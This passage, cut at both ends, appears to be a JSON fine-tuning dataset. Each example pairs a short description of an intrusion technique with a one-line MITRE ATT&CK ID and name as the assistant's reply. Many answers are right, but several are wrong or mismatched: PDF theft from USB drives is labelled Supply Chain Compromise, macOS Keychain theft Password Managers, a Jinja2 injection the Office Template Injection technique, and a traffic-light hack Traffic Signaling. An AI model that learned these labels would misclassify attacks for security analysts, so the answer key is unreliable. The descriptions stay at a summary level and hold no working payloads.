        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing attachment runs a PowerShell script that checks for the presence of sandbox monitoring tools like Process Explorer before proceeding."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Initial access via compromised credentials from unrelated networks"
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary copies harvested credential files to a hidden folder on the compromised host before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a malicious Office macro that calls the Windows Script Host to download a payload from an HTTP server."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious website is compromised to host a drive‑by download that exploits a browser vulnerability to install a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom web scraper, the threat actor enumerates all websites owned by the victim organization to collect login portals, metadata, and exposed API endpoints."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infiltrator attempts to discover network shares by scanning the SYSVOL and NETLOGON shares on domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A social engineering campaign uses a fake LinkedIn job posting with a link to a malicious installer; users who click the link execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker performs a credential dumping attack on LSASS to obtain NTLM hashes for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the system's regsvr32.exe to execute a script file, effectively proxying the execution of the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Researchers observed a malicious PowerShell script that harvests credentials from the Windows Credential Manager by invoking the CredEnumerate function."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary gathers a list of all connected removable drives and copies any PDF files found."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor alters the code signing enforcement settings in the registry to accept self‑signed executables."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emond is configured to execute a PowerShell command line whenever a network share is accessed, enabling lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces a legitimate .so file with a malicious version to hijack the dynamic linking process and execute their payload."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor copied confidential database tables onto a portable USB stick and later retrieved the device from the office."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider exfiltrates Salesforce API tokens from a shared repository, enabling persistent access to the cloud CRM."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Researchers emulate the technique by writing a custom exploit for a vulnerable SMB service to gain initial foothold."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan accesses the 'Login Data' file of the Chromium Edge browser and uses the OS-level key to decrypt passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious payload changed the ACLs on /Library/Preferences/com.apple.loginwindow.plist on macOS, granting all users write access to the login window configuration."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors pay for access to a repository of internal design documents of a target organization's critical infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder performs reconnaissance by reviewing social media profiles linked on the company's public website for insider information."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code exfiltrates system information by writing it to the Windows Event Log, which is then forwarded to an external SIEM."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group deployed a custom proxy tool on an external host, then instructed infected hosts to route all HTTP requests through this proxy."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerates the target’s firewall rules and configurations to map internal network segments."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker conducts a drive-by download attack, infecting devices with malware when they visit a compromised website or click on a malicious link."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan extracts credentials from the macOS Keychain where passwords are saved."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a PowerShell payload that calls \"Get-LocalUser\" to enumerate local accounts on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker infiltrated a software vendor's network and exfiltrated a code signing certificate to sign malicious executables."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use an internal compromised reverse proxy to bounce their traffic, making it appear as legitimate internal communications."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping was performed by extracting /etc/shadow entries via a privileged process and pairing them with /etc/passwd data."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors hijack cloud instances to run cryptomining workloads, draining the victim's compute budget."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the 'Office Test' feature to load a malicious template file that auto‑executes a PowerShell command on application launch."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerates running Docker containers on the host using the \"docker ps\" command."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor abuses the Windows command shell to execute 'whoami' and capture the current user context."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages Windows Script Host to execute a JavaScript file that modifies registry keys for persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes the Windows Print Spooler service to send data to an external printer over the internet."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor sends forged ARP replies on a local network, causing devices to reroute traffic through the attacker."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit insufficient logging on serverless functions to hide their malicious activities."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies a macOS launch daemon plist file to change the ExecutablePath to point to a malicious binary, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor gains remote access to a city’s traffic management server and modifies the configuration files to display a continuous green light on a highway on-ramp."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers analyse geotagged social media posts from employees to infer the location of the target's headquarters building."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the netsh.exe helper DLL mechanism, placing a malicious DLL in %SystemRoot%\\system32 and executing netsh to load it."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Social engineers use pretexting tactics to create a fabricated scenario that tricks victims into divulging sensitive information or performing certain actions that aid the attacker's goals."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team members obtain municipal zoning maps and utility bill filings to determine the physical location of the victim's manufacturing facilities."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors create a fake GitHub repository and send repository invitation messages to engineers, containing a backdoored installer."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary renames a legitimate executable by adding a trailing space to the filename, causing the OS to display it as a different file and bypassing user suspicion."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the Kerberos cache file (krb5cc) to steal service tickets and replay them on a different host."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program copies keylogging logs onto a portable memory stick, which is then used to transport the logs out of the target environment."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits a vulnerable cron job to run arbitrary commands via the shell."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious transport agent configured on a UNIX mail system to rewrite email headers for phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the intrusion set generates a snapshot of the victim's Google Cloud Compute Engine instance."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor used a vendor‑provided default service account password to infiltrate the environment."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a server-side template injection flaw to execute arbitrary code by injecting malicious template syntax."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary used compromised credentials to change the instance type of several EC2 virtual machines, increasing their CPU and memory resources for later use."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group sets up a DNS tunnel to bypass firewalls and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Network device CLI commands were issued to reconfigure a router's ACLs and enable unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a third‑party logging service to erase traces of their activity."
            },
            {
                "role": "assistant",
                "content": "T1584 - Compromise Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware drops a malicious payload that scans all drives, encrypts every user file with a random AES key, and appends a .locked extension before demanding payment."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a malicious microSD card to exploit an IoT device's firmware update mechanism, achieving remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set abuses ticket renewal to extend the lifetime of a stolen TGT, allowing long-term persistence within the network."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows file handling quirk by adding a space after the filename to masquerade the payload as a known executable."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat employed a custom transport agent to alter message headers and exfiltrate sensitive information from the mail system."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leveraged the net.exe utility without the /domain flag to pull local group details."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hosting a fake boot file on a TFTP server, the attacker achieves execution of malicious code during the pre‑OS phase."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploited a misconfigured S3 bucket to store and serve malicious scripts."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs fake security alerts to disguise data exfiltration activities, making the user think the alerts are normal."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses URL encoding to obscure data in GET requests."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits a template injection vulnerability in a Flask/Jinja2 application to run OS commands on the server."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker launches msiexec.exe with the /quiet and /i switches to silently install a malicious MSI package that drops a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised service account, the adversary enumerates shared mailboxes and extracts their contents via PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries set up a physical server in a data center under a shell corporation to host illicit services."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group exploited valid user credentials obtained through keylogging to access an organization’s internal Git repository."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a launch daemon that runs a PowerShell script on macOS via launchd, providing remote command execution."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary installs a malicious root certificate into the Windows certificate store to intercept and decrypt TLS traffic for internal communications."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware scans the '/Applications' directory on macOS to identify installed binaries."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
